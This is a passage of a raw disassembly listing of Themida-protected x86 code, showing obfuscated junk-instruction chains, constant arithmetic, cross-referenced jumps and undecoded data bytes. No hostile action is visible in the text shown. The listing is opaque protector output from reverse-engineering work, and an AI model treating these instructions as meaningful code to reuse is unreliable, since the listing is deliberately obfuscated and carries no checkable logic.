1E8E3C99h xchg edi, edx inc edi xchg edi, edx jmp loc_54C99C ; --------------------------------------------------------------------------- db 0B0h, 43h, 53h dd 0FFDB3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_546CAD: ; CODE XREF: Themida_:00548EA4j push esi mov esi, 420D28F1h push 0A60h mov [esp], ecx mov ecx, 4C15224Dh sub ecx, 1F7B05A0h push ecx not dword ptr [esp] pop ecx neg ecx push edx mov edx, 3D3523E9h and edx, 5DFE3049h not edx xor edx, 2D22550Ch shl edx, 7 sub edx, 86B00F73h or ecx, edx jmp loc_5487BF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324048Bh, 0C48304C4h, 0B8505704h, 4, 158C789h, 0E71AE9F8h dd 0C281FFFFh, 4, 0E904EA83h, 7ECDh, 2368E289h, 8900007Fh dd 4B9240Ch, 1000000h, 240C8BCAh, 8104C483h, 4C2h, 24148700h dd 3124248Bh, 0DDE92404h, 83FFFFCBh, 8B042404h, 89562404h dd 4C681E6h, 83000000h, 348704C6h, 85E95C24h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546D63: ; CODE XREF: Themida_:0054742Cj shr dh, 2 sub dh, 84h add dh, 9Ah xor dh, al pop eax xor al, dh mov edx, [esp] push ebx push esp push dword ptr [esp] pop ebx jmp loc_54DFBD ; --------------------------------------------------------------------------- loc_546D7F: ; CODE XREF: Themida_:0054CC85j add [esp+4], ecx jmp loc_54BB89 ; --------------------------------------------------------------------------- loc_546D88: ; CODE XREF: Themida_:00546AACj mov esi, 4 sub ebp, 1A8759BAh sub ebp, esi add ebp, 1A8759BAh pop esi jmp loc_54F3B7 ; --------------------------------------------------------------------------- loc_546DA1: ; CODE XREF: Themida_:0054A0C2j add ecx, 4 add ecx, 4 jmp loc_546194 ; --------------------------------------------------------------------------- loc_546DAF: ; CODE XREF: Themida_:0054C444j pop edi push ecx mov ecx, 4 add eax, 60705F80h add eax, ecx sub eax, 60705F80h pop ecx xchg eax, [esp] jmp loc_54B4F7 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 242C8B24h, 4C481h, 1C8B0000h, 2ED7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546DE2: ; CODE XREF: Themida_:0054641Bj mov [edi+20h], esi pop esi sub [edi+20h], ecx pop ecx loc_546DEA: ; CODE XREF: Themida_:005470E1j ; Themida_:loc_54A030j push dword ptr [esp] mov ebx, [esp] jmp loc_548B63 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0Fh dd 8100001Dh, 617128EFh, 5FFE010Dh, 8147E9h, 2EEC100h dd 3B2DBD55h, 0B8503324h, 0D9E145Dh, 171F8035h, 0D0F7407Dh dd 539E0548h, 0C5319EBCh, 5DEE3158h, 0B850D6F7h, 0B87A592Ah dd 0E958C631h, 5348h, 0E9DAC380h, 0FFFFEEC6h, 0E95AD529h dd 11B5h, 0E9E80159h, 1972h, 4C681h, 0EE830000h, 24343304h dd 33243431h, 7E92434h, 9000019h, 241C8BDAh, 8104C483h dd 0FA11A3EAh, 4EAC17Ah, 0C281D2F7h, 0DCA96DAh, 295AD589h dd 34875DEEh, 4895C24h, 0CA8EE924h, 5966FFFFh, 24048F66h dd 24048366h, 0CA7EE902h, 0EC81FFFFh, 4, 89243489h, 0FB00E9E6h dd 1C89FFFFh, 0FE0DB724h, 2AB050CFh, 0C8FEC8FEh, 0C700102Ch dd 8324048Bh, 0B25204C4h, 3E2C00Fh, 0DAF6D2F6h, 55E9D2F6h dd 81000006h, 0BC3CD8C1h, 59CE012Dh, 8B243487h, 34FF2424h dd 0C0E95924h, 8BFFFFF1h, 0FAE9240Ch, 8F000086h, 34FF4047h dd 242C8B24h, 0E904C483h, 4D9Ch, 4C4815Ch, 9000000h, 0D4840FC9h dd 68000003h, 16Eh, 0FFE922E9h, 8BC588FFh, 0C4812404h dd 4, 24148B66h, 5002C483h, 0C0FEFBB0h, 0B62CA034h, 0FFFA92E9h dd 24248BFFh, 0FFC9D3E9h, 0E9DE88FFh, 0F07h, 0F6CBD55h dd 814D454Bh, 0D7605E5h, 18BAE968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F6A: ; CODE XREF: Themida_:005465FDj neg esi shr esi, 6 jmp loc_54F177 ; --------------------------------------------------------------------------- dd 378EEA81h, 0D2F765C7h, 133FE950h, 99B90000h, 56745601h dd 2A65F7BEh, 17EE8160h, 21F22561h, 81415EF1h, 0FBFF83C1h dd 59CD019Bh, 2474FF55h, 48F5D04h, 753FE924h, 835F0000h dd 0C8702C1h, 24248B24h, 9C240CD2h, 0FFC963E9h, 0D8F740FFh dd 0D0125C05h, 8BC58950h, 54512404h, 4C18159h, 83000000h dd 0C8704C1h, 0C7815C24h, 180F7198h, 97E9EF01h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FEB: ; CODE XREF: Themida_:0054EF4Bj mov ebx, 2 add ebp, ebx jmp loc_54BD46 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 45BAE900h, 1DE90000h, 68FFFFC9h, 6490h, 0BE243489h dd 57C6ABAh, 72E7E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54701A: ; CODE XREF: Themida_:00546826j sub ecx, 0FFFFFFFFh neg ecx xor ecx, 59240CEAh inc ecx xor ecx, 7ACB12D3h sub ecx, 0B334A888h mov ebp, ecx pop ecx jmp loc_5462CB ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 8904EC83h, 8C68242Ch, 8900003Eh, 2C8B2404h dd 50CCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547056: ; CODE XREF: Themida_:0054AA96j sub ebx, 52286648h add edx, ebx pop ebx push 2726h jmp loc_549556 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 2BDh, 8EC18100h, 14D507Bh, 8EE981E9h, 5D4D507Bh, 0E904EC83h dd 0FFFFCE7Dh, 3017D22Dh, 5BDE2D66h, 295B3FB2h, 93E956D8h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54709B: ; CODE XREF: Themida_:0054B901j add esi, 3D38A7EEh mov eax, esi pop esi neg eax shl eax, 7 add eax, 0F619A084h add esi, eax pop eax xchg esi, [esp] jmp loc_54B058 ; --------------------------------------------------------------------------- db 29h, 0C2h, 58h dd 49E9D629h, 0FFFFFFE9h, 34FF2434h, 2434FF24h, 83240C8Bh dd 0C48304C4h, 4C48304h, 0FFC891E9h db 0FFh ; --------------------------------------------------------------------------- loc_5470DD: ; CODE XREF: Themida_:00546806j shr edx, 1 cmp eax, edx jz loc_546DEA push 67B0h mov [esp], ecx jmp loc_5494FE ; --------------------------------------------------------------------------- dd 582434FFh, 0A9E95453h, 6800000Eh, 4FF362E2h, 0FFCC72E9h db 0FFh ; --------------------------------------------------------------------------- loc_547109: ; CODE XREF: Themida_:0054EEF3j sub bl, ch pop ecx add bl, al push eax push 2484h jmp loc_54D310 ; --------------------------------------------------------------------------- db 0FEh, 0C5h, 53h dd 0FFED0BE9h, 0BCE956FFh, 81FFFFF3h, 4C4h, 0FA885200h dd 0ECE9D188h, 5E000023h, 31EFC281h, 0DA013924h, 31EFEA81h dd 0DDE93924h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54714B: ; CODE XREF: Themida_:00548B5Ej shr esi, 3 xor esi, 164576E8h add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp push ebx push edx jmp loc_5497E0 ; --------------------------------------------------------------------------- loc_547165: ; CODE XREF: Themida_:00544798j add esp, 4 push edx push ebx pop edx pop ebx xchg eax, ebx jmp loc_543E73 ; --------------------------------------------------------------------------- dw 1C87h aPirvsa db '$\P‰àVéí',7,0 db 0 ; --------------------------------------------------------------------------- loc_54717F: ; CODE XREF: Themida_:00547A0Dj pop ebp add edx, ecx pop ecx sub edx, 4 xor edx, [esp] jmp loc_5494A8 ; --------------------------------------------------------------------------- loc_547191: ; CODE XREF: Themida_:0054D7BEj mov eax, [esp] add esp, 4 push edx mov edx, esp jmp loc_54FB51 ; --------------------------------------------------------------------------- a_st db '_éâ!',0 dd 4055A00h, 87000000h, 248B2404h, 4B95124h, 0E9000000h dd 5E44h ; --------------------------------------------------------------------------- loc_5471BC: ; CODE XREF: Themida_:005450A7j not ebp jmp loc_54E70D ; --------------------------------------------------------------------------- loc_5471C3: ; CODE XREF: Themida_:0054A012j mov eax, esp push edi jmp loc_54EA26 ; --------------------------------------------------------------------------- db 81h dd 974983EFh, 0D652E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5471D6: ; CODE XREF: Themida_:0054BA8Ej add ebx, 55ED319Dh shl ebx, 2 push ebp mov ebp, 7B081756h shl ebp, 1 or ebp, 1F6D1A76h and ebp, 7FBD7B25h add ebp, 4AD816DEh jmp loc_54CECE ; --------------------------------------------------------------------------- loc_5471FE: ; CODE XREF: Themida_:0054906Cj and eax, esi pop esi shr eax, 10h jmp loc_54A1B8 ; --------------------------------------------------------------------------- loc_547209: ; CODE XREF: Themida_:0054D66Fj add esp, 4 xor eax, ecx xor ecx, eax xor eax, ecx push 66Dh mov [esp], esi push 7CA1h mov [esp], ebp mov ebp, 5CD3510Ah sub esp, 4 jmp loc_54AFA8 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 3A3Bh, 83240C89h, 248904ECh, 24048324h, 83BFE904h dd 92B90000h, 81639310h, 4ECh, 242C8900h, 35EEE952h, 1580000h dd 241C8BDFh, 4C481h, 3C870000h, 24248B24h, 240CD366h dd 0C6AAE99Ch, 489FFFFh, 0E9E08924h, 1AF8h ; --------------------------------------------------------------------------- loc_547284: ; CODE XREF: Themida_:0054950Cj sub esp, 4 mov [esp], edx jmp loc_545D2A ; --------------------------------------------------------------------------- db 8Fh dd 0A8E92404h, 83000089h, 2C8904ECh, 7E0FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5472A2: ; CODE XREF: Themida_:0054619Dj mov [esp], ebp push esi jmp loc_54CF6E ; --------------------------------------------------------------------------- db 8Bh dd 1C892424h, 0C6A8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5472B6: ; CODE XREF: Themida_:0054EC7Bj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_54D194 ; --------------------------------------------------------------------------- dw 0CF01h dd 6ED8EF81h, 0C8B158Fh, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 387A895Ch, 5F2434FFh, 5004C483h, 258BE9h dd 4EE8300h, 5C243487h, 0BB241C89h, 0FEh, 0FFE258E9h db 0FFh ; --------------------------------------------------------------------------- loc_54730D: ; CODE XREF: Themida_:0054E29Aj mov edx, 42C63476h sub ebp, edx pop edx jmp loc_54F981 ; --------------------------------------------------------------------------- loc_54731A: ; CODE XREF: Themida_:0054D202j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54CB9D ; --------------------------------------------------------------------------- dw 8B66h dd 45E92404h, 80000014h, 0E9802AE1h, 4688E908h, 0EE810000h dd 4E670286h, 36EE8146h, 1EE383Dh, 24348BF7h, 4C481h, 3C870000h dd 8983E924h, 68AC0000h, 172Bh, 0FFC6DAE9h, 0E95F58FFh dd 5FA8h, 396BB951h, 0C9817754h, 402B5071h, 77CBC981h dd 8141202Eh, 67F72F1h, 59C88904h, 5249525h, 0E131E929h dd 0F65CFFFFh, 0B60F66E1h, 0CF6866CCh, 0D257E947h, 6DE9FFFFh dd 5DFFFFC5h, 8B240487h, 0F662424h, 9C2404BBh, 83DBE9h dd 4EC8300h, 3AE7E9h, 0AE685700h, 8B2F5C12h, 0C481243Ch dd 4, 881FE9h, 24895C00h, 24048124h, 4, 592434FFh, 8104C483h dd 4C1h, 2BB5300h, 1000000h, 241C8BD9h, 3304C483h, 0C31240Ch dd 21A6E924h, 14870000h, 24248B24h, 5C7BE9h db 0 ; --------------------------------------------------------------------------- loc_547421: ; CODE XREF: Themida_:0054894Cj mov [esp], edx push eax mov al, 40h mov dh, 0B7h shl dh, 2 jmp loc_546D63 ; --------------------------------------------------------------------------- db 80h, 0F4h, 67h dd 54F65066h, 58660124h, 8005ECC0h, 0ABE9C6F4h, 0FF000025h dd 0D5E94077h, 52FFFFC4h, 0E9240CFFh, 4CEh, 515AB252h dd 0C888D188h, 0E9240C8Bh, 6118h, 0C6301734h, 2ABCE9h db 0 ; --------------------------------------------------------------------------- loc_547471: ; CODE XREF: Themida_:0054F8A9j pop ebp pop ecx jmp loc_5478C5 ; --------------------------------------------------------------------------- dd 0E904D828h, 0E689565Bh, 8E3BD55h, 0B8503613h, 31782E24h dd 0F702E0C1h, 35D8F7D0h, 0DBC88216h, 4D58C529h, 31A9C581h dd 0EE01E815h, 2EE815Dh, 33000000h, 34312434h, 24343324h dd 0E924248Bh, 0E96h ; --------------------------------------------------------------------------- loc_5474BC: ; CODE XREF: Themida_:0054F765j mov [esp], edi push 14BB0D82h mov edi, [esp] add esp, 4 xor edi, 14BB0DA6h mov ebx, edi jmp loc_54F7A9 ; --------------------------------------------------------------------------- dw 0E1C1h dd 9CC18104h, 1A7E369h, 0EA0159CAh, 5B6CEA81h, 34FF1689h dd 5EE95D24h, 81000075h, 4C4h, 4EC8100h, 89000000h, 0E6892434h dd 4C681h, 6C680000h, 8900000Ah, 0E953240Ch, 644Ah ; --------------------------------------------------------------------------- loc_54751C: ; CODE XREF: Themida_:0054AA27j not dh shr dh, 6 and dh, 0EAh xor dh, 3 or ch, dh pop edx neg ch shr ch, 7 jmp loc_54FA1B ; --------------------------------------------------------------------------- dd 283AF280h, 0B0E95AD0h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54753F: ; CODE XREF: Themida_:005463AEj pop esp push ebp pop eax mov ebp, [esp] add esp, 4 jmp loc_5458DC ; --------------------------------------------------------------------------- loc_54754D: ; CODE XREF: Themida_:0054BCD3j pop ecx push 1A23h mov [esp], eax push ebp push 25173A81h pop ebp add ebp, 0DF450356h mov eax, ebp pop ebp xor edx, eax jmp loc_544864 ; --------------------------------------------------------------------------- loc_54756D: ; CODE XREF: Themida_:0054BD10j sub ecx, 101E07F4h xor edx, ecx pop ecx push edx jmp loc_547F95 ; --------------------------------------------------------------------------- loc_54757C: ; CODE XREF: Themida_:0054A0A0j xor ebx, edi pop edi add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] shr ecx, 0Ah jmp loc_543CF3 ; --------------------------------------------------------------------------- dd 83D830ACh, 66E904ECh, 8BFFFFCEh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A4AB ; --------------------------------------------------------------------------- dw 0D404h dd 0D42CD800h, 53F3B353h, 0C380C3B3h, 0BFCB8091h, 0E9E0B551h dd 4D0h, 0E952F2B2h, 81EBh, 0EAC0DAF6h, 0E9506603h, 808Ch dd 68240C89h, 7D0Bh, 54241489h, 4C2815Ah, 0E9000000h, 204Dh dd 240C8B66h, 8904EC83h, 0E189240Ch, 6156E955h, 0C7010000h dd 1459EF81h, 0C7816FEAh, 77B9181Ch, 450BE9h db 0 ; --------------------------------------------------------------------------- loc_547611: ; CODE XREF: Themida_:005462E3j pop ebp push ebx not dword ptr [esp] jmp loc_54EB7B ; --------------------------------------------------------------------------- db 30h dd 241C8BFDh, 4C481h, 0C5800000h, 27B65214h, 0F689B151h dd 9CE180D9h, 0E180C9FEh, 2A05E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54763E: ; CODE XREF: Themida_:00545226j mov [esp], ebx jmp loc_54B667 ; --------------------------------------------------------------------------- loc_547646: ; CODE XREF: Themida_:0054B43Aj push 7654h mov [esp], ebp push edi mov edi, 0BABFBF6Fh jmp loc_544A92 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0FDh dd 2934BF15h, 0C3015EF0h, 5524048Bh, 0FFD787E9h, 7FC381FFh dd 0E96AE447h, 5E2Eh, 0D1BEF81h, 6CE9714Dh, 89000068h dd 0EEB850E7h, 0C16D1D32h, 890508E8h, 6856914Ah, 588Dh dd 0BD242C89h, 214D4D37h, 6909E9h db 0 ; --------------------------------------------------------------------------- loc_5476A5: ; CODE XREF: Themida_:0054F3C6j pop ebx sub ebx, offset byte_4355E1 mov esi, ebx pop ebx pop ebp add esi, 0A32CAEF7h jmp loc_54FD06 ; --------------------------------------------------------------------------- db 81h dd 1C3D3FC2h, 0E1C2813Ah, 1217352h, 769568C2h, 0C890000h dd 6705B924h, 0F18128D6h, 509536C3h, 0FFF389E9h db 0FFh ; --------------------------------------------------------------------------- loc_5476E1: ; CODE XREF: Themida_:0054B907j mov edi, 335E5259h add eax, 42A31ECCh add eax, edi sub eax, 42A31ECCh pop edi push ebp jmp loc_54F442 ; --------------------------------------------------------------------------- loc_5476F9: ; CODE XREF: Themida_:00543CC9j or eax, 5BD874C6h dec eax push ecx push 2487h mov [esp], ebx push 28C27DE7h pop ebx add ebx, 3CAB7B8Fh sub ebx, 2A667D7Ch mov ecx, ebx pop ebx sub eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_54C396 ; --------------------------------------------------------------------------- dd 53243489h, 0FFF436E9h, 4C681FFh, 83000000h, 348704C6h dd 0DE95C24h, 52000064h, 38BAh, 0ACEA8100h, 811B7C7Ah dd 785871EAh, 462BE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547762: ; CODE XREF: Themida_:005479E2j push esp jmp loc_54C04E ; --------------------------------------------------------------------------- aR3Aqscs db 'Rº3&qéæS',0 db 0 ; --------------------------------------------------------------------------- loc_547773: ; CODE XREF: Themida_:0054B763j shl ecx, 3 add ecx, 3F814A2Dh add esi, ecx jmp loc_5494CB ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 48B2434h, 0FD65E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547792: ; CODE XREF: Themida_:005445EBj mov edx, [esp] jmp loc_54FAE7 ; --------------------------------------------------------------------------- dw 6857h dd 1F26h, 81242489h, 42404h, 505F0000h, 0DD152968h, 0F7485822h dd 35E0D1D8h, 7094C46h, 3508E8C1h, 0BD4C9Dh, 8358C701h dd 3C8704EFh, 34895C24h, 0E95E5424h, 3E05h ; --------------------------------------------------------------------------- loc_5477D8: ; CODE XREF: Themida_:00543ECAj sub eax, ebp pop ebp add eax, ebx add eax, 70023AFCh push ebx push ecx mov ecx, 63CD5FB3h jmp loc_54CE31 ; --------------------------------------------------------------------------- dw 3C89h dd 0D434E924h, 0EB81FFFFh, 443C4E7Dh, 425BDA31h, 0F281DAF7h dd 989B4591h, 2488C281h, 0F287379Bh, 2820E9h, 74FF5100h dd 0C8B0424h, 4C48124h, 0E9000000h, 0FFFFD7D4h, 0E542CFBEh dd 0FE27E962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547832: ; CODE XREF: Themida_:0054AFABj mov ebp, esp add ebp, 4 jmp loc_546AAB ; --------------------------------------------------------------------------- db 0C0h dd 0C48004ECh, 58E58822h, 80B2CD80h, 0DDF6FFEDh, 2C77F580h dd 51E828B2h, 0E98062B1h, 59C800B0h, 81240C8Bh, 4C4h, 53E95700h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54786F: ; CODE XREF: Themida_:00546A78j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_54787E: ; CODE XREF: Themida_:005484DCj push edx push esp mov edx, [esp] jmp loc_54C524 ; --------------------------------------------------------------------------- dd 24048F5Ah, 6624248Bh, 9C2404D3h, 0FFC08BE9h db 0FFh ; --------------------------------------------------------------------------- loc_547899: ; CODE XREF: Themida_:0054F9E4j push ebp mov ebp, 52E550ADh mov edx, 46233670h xor edx, ebp push dword ptr [esp] pop ebp jmp loc_54F813 ; --------------------------------------------------------------------------- db 66h dd 66240C33h, 0E9240C31h, 0FFFFC068h, 9C2424D2h, 0FFC05FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5478C5: ; CODE XREF: Themida_:00547473j mov eax, [esp] add esp, 4 push 6B6Ch mov [esp], esi mov esi, 28BB7CF6h push eax mov eax, 2F2B0DABh sub eax, 2EE3071h jmp loc_54A0F7 ; --------------------------------------------------------------------------- db 83h dd 0B65204C4h, 98CE80E4h, 8001C680h, 0EEC019EEh, 4EC8102h dd 89000000h, 8D68240Ch, 8900007Eh, 92E92404h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547913: ; CODE XREF: Themida_:00549E7Fj add esp, 4 add eax, 2A687426h mov esi, [esp] jmp loc_54C75D ; --------------------------------------------------------------------------- dw 815Ah dd 112EDDEAh, 93EA810Ah, 81489F51h, 3CD293F2h, 5AD131A8h dd 183FE9h, 0BD555300h, 13B486Bh, 8104EDC1h, 917380F5h dd 88ED8138h, 89F7E54Bh, 2DE95DEBh db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54795F: ; CODE XREF: Themida_:00545DD8j xor ebp, 0FEF7F6BEh add eax, ebp jmp loc_54A7CF ; --------------------------------------------------------------------------- dd 4BEh, 57C40500h, 0F00157F3h, 0F357C42Dh, 4B0DE957h dd 44010000h, 5D580424h, 0B46ED81h, 0F758240Ch, 1C583D5h dd 748EF581h, 0EC83A74Ah, 243C8904h, 956CFEBFh, 2AF7813Dh dd 16FF633h, 84055FF8h, 293A6245h, 5D4DE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5479BA: ; CODE XREF: Themida_:00545642j mov edi, edx push dword ptr [esp] pop edx add esp, 4 and eax, edi mov edi, [esp] add esp, 4 shr eax, 0Eh xor eax, ecx push eax sub esp, 4 mov [esp], ecx mov eax, [esp] add esp, 4 push dword ptr [esp] pop ecx push ebx jmp loc_547762 ; --------------------------------------------------------------------------- loc_5479E7: ; CODE XREF: Themida_:00544749j mov esi, 327D53F7h jmp loc_54EDA3 ; --------------------------------------------------------------------------- aVsG db 'Vé-ƒ',0 db 0 ; --------------------------------------------------------------------------- loc_5479F7: ; CODE XREF: Themida_:0054B88Ej add eax, 4F72BF6h add eax, esi sub eax, 4F72BF6h sub esp, 4 jmp loc_5444D3 ; --------------------------------------------------------------------------- loc_547A0B: ; CODE XREF: Themida_:0054CD0Fj xor ecx, ebp jmp loc_54717F ; --------------------------------------------------------------------------- dw 0D388h dd 5BDC885Ah, 0E588C4FEh, 0C0C5FE58h, 506604E5h, 6CE9FBB4h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547A2B: ; CODE XREF: Themida_:00548D24j mov edx, 406A511Ch mov ebp, 44BC8A7Dh sub ebp, 1A565EA2h sub ebp, edx add ebp, 1A565EA2h pop edx jmp loc_549BD5 ; --------------------------------------------------------------------------- loc_547A49: ; CODE XREF: Themida_:0054A484j xchg esi, [esp] pop esp xor eax, esi mov esi, [esp] add esp, 4 and ecx, eax jmp loc_54E7B2 ; --------------------------------------------------------------------------- db 9 dd 0BD555FFEh, 0DA0E50h, 0F581D5F7h, 173D16B4h, 63F6F581h dd 0B951334Fh, 3A7366A7h, 6A42E9h, 28E95700h, 5CFFFFC1h dd 0E9241489h, 0FFFFF28Ch, 0A0E9EB20h, 5B00003Eh, 0E924048Fh dd 0FFFFD296h, 0D82CE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547AA6: ; CODE XREF: Themida_:005456E9j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_549E67 ; --------------------------------------------------------------------------- loc_547AB7: ; CODE XREF: Themida_:0054F154j xchg ebp, [esp] jmp loc_54F02F ; --------------------------------------------------------------------------- db 57h dd 693ABA52h, 0D78916E6h, 0D71CE95Ah, 0E1C1FFFFh, 0E9535506h dd 5C12h, 3B40E95Ah, 8B660000h, 0EC812404h, 4, 0E9243C89h dd 6CA4h, 0B5240C89h, 1ED802Eh, 0F3E95166h, 55000000h dd 7D077FBDh, 5610E91Ch, 8B660000h, 0E9572404h, 782Eh dd 240C8B66h, 62ADE9h, 1AE95900h, 66000008h, 0E9240C8Bh dd 4DEFh ; --------------------------------------------------------------------------- loc_547B2C: ; CODE XREF: Themida_:005464C5j sub ebp, 4 xchg ebp, [esp] jmp loc_54D011 ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 4CE959CFh, 66FFFFDAh, 0E924048Bh, 0FFFFEBFEh dd 4247401h, 8324348Bh, 148B04C4h, 4C48324h, 4C281h, 0C2830000h dd 74FF5202h, 8F5A0424h, 248B2404h, 2404FE24h, 0BDA6E99Ch dd 0F001FFFFh, 0F502E95Eh, 0F580FFFFh, 0D5B05023h, 2C58C528h dd 0E652E983h, 83ACFFFFh, 1C8904ECh, 4EC8324h, 0E9241489h dd 3515h, 56243C89h, 437ED0BEh, 5EF7892Dh, 6E5FE9h, 4896600h dd 0BD62E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547BC2: ; CODE XREF: Themida_:0054AFCEj mov edi, ebp jmp loc_548572 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Fh, 5C24048Fh, 66E1F766h, 6671C268h, 0E9241489h dd 631Bh ; --------------------------------------------------------------------------- loc_547BE4: ; CODE XREF: Themida_:00545316j xor ecx, 56353C99h mov ebx, ecx pop ecx jmp loc_543B0E ; --------------------------------------------------------------------------- dw 54F6h dd 0DE90124h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_547BFB: ; CODE XREF: Themida_:0054CC99j sub esi, 0FFFFFFFFh push ebx push eax jmp loc_54D1E3 ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 6E113CC3h, 4EC833Ah, 81240489h, 4ECh, 1D47E900h, 1E90000h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547C23: ; CODE XREF: Themida_:0054CFFBj mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_548652 ; --------------------------------------------------------------------------- a3LFSA db '3<$‹$$fÓ$$œé',0Ah db 'a',0 db 0 ; --------------------------------------------------------------------------- loc_547C47: ; CODE XREF: Themida_:0054F172j sub edx, esi sub esp, 4 mov [esp], edi mov edi, 7E3A3C22h sub edx, edi pop edi pop esi and ecx, edx mov edx, [esp] jmp loc_54515E ; --------------------------------------------------------------------------- db 5Fh, 87h, 2Ch dd 24248B24h, 242CD366h, 0BCAEE99Ch, 0D301FFFFh, 4C3815Ah dd 33000000h, 1C31241Ch, 241C3324h, 0E924248Bh, 0FFFFBC94h ; --------------------------------------------------------------------------- loc_547C90: ; CODE XREF: Themida_:0054BAEDj mov ecx, [esp] add esp, 4 push ebp jmp loc_54D7C3 ; --------------------------------------------------------------------------- loc_547C9C: ; CODE XREF: Themida_:00546041j add esp, 4 jmp loc_5488A0 ; --------------------------------------------------------------------------- dd 6624248Bh, 5324048Bh, 29BF68h, 24248900h, 4240481h dd 5B000000h, 35C968h, 24048900h, 1423E9h, 0E9565200h dd 0FFFFD7C5h, 5D32E95Ah, 0B9510000h, 4, 53E9C829h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547CE3: ; CODE XREF: Themida_:0054CEE1j add eax, 5D2D26D7h jmp loc_54CA73 ; --------------------------------------------------------------------------- loc_547CED: ; CODE XREF: Themida_:0054D910j push edi mov edi, 7E511C0Ch dec edi shl edi, 8 or edi, 0E6E225Bh inc edi sub edi, 4AC5ECDFh add ecx, edi pop edi sub ecx, ebp sub ecx, 14B83E7Dh pop ebp add ecx, 19BB14E7h sub ecx, esi sub ecx, 19BB14E7h add ecx, 2D1F4BBFh pop esi push 5F3Dh mov [esp], esi mov esi, 4 and ecx, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebp push esp jmp loc_5480F9 ; --------------------------------------------------------------------------- dd 240C8966h, 24048766h, 0F7665066h, 8B662414h, 0C4812404h dd 2, 24048766h, 240C8B66h, 2C481h, 31660000h, 3CE9240Ch db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547D73: ; CODE XREF: Themida_:0054516Aj push ebp mov ebp, 79577AC2h shr ebp, 6 xor ebp, 1E55DEFh add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push 38C0h mov [esp], ecx push edx push 702B1EA4h pop edx neg edx neg edx sub edx, 5AEFF8B5h mov ecx, edx pop edx xor [esp+4], ecx jmp loc_5453ED ; --------------------------------------------------------------------------- loc_547DB6: ; CODE XREF: Themida_:00543F84j push ebx jmp loc_54472A ; --------------------------------------------------------------------------- dd 2AF6BF57h, 0C5E952DCh, 5B00004Ah, 1DC3EB81h, 0E3C122C3h dd 48F38102h, 0E98F0665h, 18A1h, 9D1C77FFh, 0D3665966h dd 0E99C2414h, 0FFFFBB38h, 31241C33h, 35E9241Ch, 0FF00007Ah dd 10E92434h, 81000027h, 6CBF29C7h, 5FFA3198h, 3AEAC781h dd 0D7296F44h, 0FFE764E9h, 240C8BFFh, 0D6CEE957h, 4968FFFFh dd 89000006h, 5751241Ch, 8D0A8BBFh, 8FEF8124h, 89E59893h dd 0CB895FF9h, 0F7DBF759h, 51DBF7DBh, 430EE9h, 5C80100h dd 202F3157h, 7D5F662Dh, 71190551h, 8759622Ah, 0DCE92404h dd 5B000008h, 0C739E950h, 0D568FFFFh, 89000019h, 0EBBB241Ch dd 2992C8B3h, 0F7015BDEh, 0BBEF815Eh, 1038A7Fh, 0BBC781CFh dd 68038A7Fh, 7C85h, 0FFE4CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_547E91: ; CODE XREF: Themida_:0054FAE2j mov edi, 0FFFFFFFFh sub ebp, edi mov edi, [esp] add esp, 4 add ebp, 3C727F80h and ecx, ebp pop ebp jmp loc_54DD11 ; --------------------------------------------------------------------------- dd 0E9241487h, 0FFFFF531h 